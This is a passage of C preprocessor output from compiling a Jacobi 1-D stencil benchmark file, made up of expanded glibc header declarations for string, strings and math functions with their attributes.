# 1 "/usr/include/x86_64-linux-gnu/bits/types/__locale_t.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types/__locale_t.h" 3 4
struct __locale_struct
{
struct __locale_data *__locales[13];
const unsigned short int *__ctype_b;
const int *__ctype_tolower;
const int *__ctype_toupper;
const char *__names[13];
};
typedef struct __locale_struct *__locale_t;
# 23 "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h" 2 3 4
typedef __locale_t locale_t;
# 154 "/usr/include/string.h" 2 3 4
extern int strcoll_l (const char *__s1, const char *__s2, locale_t __l)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 3)));
extern size_t strxfrm_l (char *__dest, const char *__src, size_t __n,
locale_t __l) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern char *strdup (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1)));
extern char *strndup (const char *__string, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1)));
# 226 "/usr/include/string.h" 3 4
extern char *strchr (const char *__s, int __c)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
# 253 "/usr/include/string.h" 3 4
extern char *strrchr (const char *__s, int __c)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
# 273 "/usr/include/string.h" 3 4
extern size_t strcspn (const char *__s, const char *__reject)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern size_t strspn (const char *__s, const char *__accept)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 303 "/usr/include/string.h" 3 4
extern char *strpbrk (const char *__s, const char *__accept)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
# 330 "/usr/include/string.h" 3 4
extern char *strstr (const char *__haystack, const char *__needle)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *strtok (char *__restrict __s, const char *__restrict __delim)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *__strtok_r (char *__restrict __s,
const char *__restrict __delim,
char **__restrict __save_ptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3)));
extern char *strtok_r (char *__restrict __s, const char *__restrict __delim,
char **__restrict __save_ptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3)));
# 385 "/usr/include/string.h" 3 4
extern size_t strlen (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
extern size_t strnlen (const char *__string, size_t __maxlen)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
extern char *strerror (int __errnum) __attribute__ ((__nothrow__ , __leaf__));
# 410 "/usr/include/string.h" 3 4
extern int strerror_r (int __errnum, char *__buf, size_t __buflen) __asm__ ("" "__xpg_strerror_r") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__nonnull__ (2)));
# 428 "/usr/include/string.h" 3 4
extern char *strerror_l (int __errnum, locale_t __l) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/strings.h" 1 3 4
# 23 "/usr/include/strings.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 24 "/usr/include/strings.h" 2 3 4
extern int bcmp (const void *__s1, const void *__s2, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern void bcopy (const void *__src, void *__dest, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 68 "/usr/include/strings.h" 3 4
extern char *index (const char *__s, int __c)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
# 96 "/usr/include/strings.h" 3 4
extern char *rindex (const char *__s, int __c)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1)));
extern int ffs (int __i) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int ffsl (long int __l) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
__extension__ extern int ffsll (long long int __ll)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int strcasecmp (const char *__s1, const char *__s2)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern int strncasecmp (const char *__s1, const char *__s2, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2)));
extern int strcasecmp_l (const char *__s1, const char *__s2, locale_t __loc)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 3)));
extern int strncasecmp_l (const char *__s1, const char *__s2,
size_t __n, locale_t __loc)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 4)));
# 433 "/usr/include/string.h" 2 3 4
extern void explicit_bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern char *strsep (char **__restrict __stringp,
const char *__restrict __delim)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *strsignal (int __sig) __attribute__ ((__nothrow__ , __leaf__));
extern char *__stpcpy (char *__restrict __dest, const char *__restrict __src)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *stpcpy (char *__restrict __dest, const char *__restrict __src)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *__stpncpy (char *__restrict __dest,
const char *__restrict __src, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern char *stpncpy (char *__restrict __dest,
const char *__restrict __src, size_t __n)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
# 499 "/usr/include/string.h" 3 4
# 11 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 2
# 1 "/usr/include/math.h" 1 3 4
# 27 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/math.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/math-vector.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/math-vector.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libm-simd-decl-stubs.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/math-vector.h" 2 3 4
# 41 "/usr/include/math.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 44 "/usr/include/math.h" 2 3 4
# 138 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/flt-eval-method.h" 1 3 4
# 139 "/usr/include/math.h" 2 3 4
# 149 "/usr/include/math.h" 3 4
typedef float float_t;
typedef double double_t;
# 190 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/fp-logb.h" 1 3 4
# 191 "/usr/include/math.h" 2 3 4
# 233 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/fp-fast.h" 1 3 4
# 234 "/usr/include/math.h" 2 3 4
# 289 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
extern int __fpclassify (double __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __signbit (double __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __isinf (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __finite (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __isnan (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __iseqsig (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
extern int __issignaling (double __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
# 290 "/usr/include/math.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 1 3 4
# 53 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern double acos (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __acos (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double asin (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __asin (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double atan (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __atan (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double atan2 (double __y, double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __atan2 (double __y, double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double cos (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __cos (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double sin (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __sin (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double tan (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __tan (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double cosh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __cosh (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double sinh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __sinh (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double tanh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __tanh (double __x) __attribute__ ((__nothrow__ , __leaf__));
# 85 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern double acosh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __acosh (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double asinh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __asinh (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double atanh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __atanh (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double exp (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __exp (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double frexp (double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern double __frexp (double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__));
extern double ldexp (double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern double __ldexp (double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__));
extern double log (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double log10 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log10 (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double modf (double __x, double *__iptr) __attribute__ ((__nothrow__ , __leaf__)); extern double __modf (double __x, double *__iptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
# 119 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern double expm1 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __expm1 (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double log1p (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log1p (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double logb (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __logb (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double exp2 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __exp2 (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double log2 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log2 (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double pow (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __pow (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
extern double sqrt (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __sqrt (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double hypot (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __hypot (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
extern double cbrt (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __cbrt (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double ceil (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __ceil (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double fabs (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __fabs (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double floor (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __floor (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double fmod (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __fmod (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
# 177 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern int isinf (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int finite (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double drem (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __drem (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
extern double significand (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __significand (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double copysign (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __copysign (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double nan (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); extern double __nan (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__));
# 211 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern int isnan (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double j0 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __j0 (double) __attribute__ ((__nothrow__ , __leaf__));
extern double j1 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __j1 (double) __attribute__ ((__nothrow__ , __leaf__));
extern double jn (int, double) __attribute__ ((__nothrow__ , __leaf__)); extern double __jn (int, double) __attribute__ ((__nothrow__ , __leaf__));
extern double y0 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __y0 (double) __attribute__ ((__nothrow__ , __leaf__));
extern double y1 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __y1 (double) __attribute__ ((__nothrow__ , __leaf__));
extern double yn (int, double) __attribute__ ((__nothrow__ , __leaf__)); extern double __yn (int, double) __attribute__ ((__nothrow__ , __leaf__));
extern double erf (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __erf (double) __attribute__ ((__nothrow__ , __leaf__));
extern double erfc (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __erfc (double) __attribute__ ((__nothrow__ , __leaf__));
extern double lgamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __lgamma (double) __attribute__ ((__nothrow__ , __leaf__));
extern double tgamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __tgamma (double) __attribute__ ((__nothrow__ , __leaf__));
extern double gamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __gamma (double) __attribute__ ((__nothrow__ , __leaf__));
extern double lgamma_r (double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern double __lgamma_r (double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__));
extern double rint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __rint (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double nextafter (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __nextafter (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
extern double nexttoward (double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __nexttoward (double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
# 272 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern double remainder (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __remainder (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
extern double scalbn (double __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern double __scalbn (double __x, int __n) __attribute__ ((__nothrow__ , __leaf__));
extern int ilogb (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern int __ilogb (double __x) __attribute__ ((__nothrow__ , __leaf__));
# 290 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern double scalbln (double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern double __scalbln (double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__));
extern double nearbyint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __nearbyint (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double round (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __round (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double trunc (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __trunc (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double remquo (double __x, double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern double __remquo (double __x, double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__));
extern long int lrint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lrint (double __x) __attribute__ ((__nothrow__ , __leaf__));
__extension__
extern long long int llrint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llrint (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long int lround (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lround (double __x) __attribute__ ((__nothrow__ , __leaf__));
__extension__
extern long long int llround (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llround (double __x) __attribute__ ((__nothrow__ , __leaf__));
extern double fdim (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __fdim (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__));
extern double fmax (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __fmax (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double fmin (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __fmin (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern double fma (double __x, double __y, double __z) __attribute__ ((__nothrow__ , __leaf__)); extern double __fma (double __x, double __y, double __z) __attribute__ ((__nothrow__ , __leaf__));
# 400 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern double scalb (double __x, double __n) __attribute__ ((__nothrow__ , __leaf__)); extern double __scalb (double __x, double __n) __attribute__ ((__nothrow__ , __leaf__));
# 291 "/usr/include/math.h" 2 3 4
# 306 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
extern int __fpclassifyf (float __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __signbitf (float __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __isinff (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __finitef (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __isnanf (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __iseqsigf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
extern int __issignalingf (float __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
# 307 "/usr/include/math.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 1 3 4
# 53 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern float acosf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __acosf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float asinf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __asinf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float atanf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __atanf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float atan2f (float __y, float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __atan2f (float __y, float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float cosf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __cosf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float sinf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __sinf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float tanf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __tanf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float coshf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __coshf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float sinhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __sinhf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float tanhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __tanhf (float __x) __attribute__ ((__nothrow__ , __leaf__));
# 85 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern float acoshf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __acoshf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float asinhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __asinhf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float atanhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __atanhf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float expf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __expf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float frexpf (float __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern float __frexpf (float __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__));
extern float ldexpf (float __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern float __ldexpf (float __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__));
extern float logf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __logf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float log10f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __log10f (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float modff (float __x, float *__iptr) __attribute__ ((__nothrow__ , __leaf__)); extern float __modff (float __x, float *__iptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
# 119 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern float expm1f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __expm1f (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float log1pf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __log1pf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float logbf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __logbf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float exp2f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __exp2f (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float log2f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __log2f (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float powf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __powf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
extern float sqrtf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __sqrtf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float hypotf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __hypotf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
extern float cbrtf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __cbrtf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float ceilf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __ceilf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float fabsf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __fabsf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float floorf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __floorf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float fmodf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __fmodf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
# 177 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern int isinff (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int finitef (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float dremf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __dremf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
extern float significandf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __significandf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float copysignf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __copysignf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float nanf (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); extern float __nanf (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__));
# 211 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern int isnanf (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float j0f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __j0f (float) __attribute__ ((__nothrow__ , __leaf__));
extern float j1f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __j1f (float) __attribute__ ((__nothrow__ , __leaf__));
extern float jnf (int, float) __attribute__ ((__nothrow__ , __leaf__)); extern float __jnf (int, float) __attribute__ ((__nothrow__ , __leaf__));
extern float y0f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __y0f (float) __attribute__ ((__nothrow__ , __leaf__));
extern float y1f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __y1f (float) __attribute__ ((__nothrow__ , __leaf__));
extern float ynf (int, float) __attribute__ ((__nothrow__ , __leaf__)); extern float __ynf (int, float) __attribute__ ((__nothrow__ , __leaf__));
extern float erff (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __erff (float) __attribute__ ((__nothrow__ , __leaf__));
extern float erfcf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __erfcf (float) __attribute__ ((__nothrow__ , __leaf__));
extern float lgammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __lgammaf (float) __attribute__ ((__nothrow__ , __leaf__));
extern float tgammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __tgammaf (float) __attribute__ ((__nothrow__ , __leaf__));
extern float gammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __gammaf (float) __attribute__ ((__nothrow__ , __leaf__));
extern float lgammaf_r (float, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern float __lgammaf_r (float, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__));
extern float rintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __rintf (float __x) __attribute__ ((__nothrow__ , __leaf__));
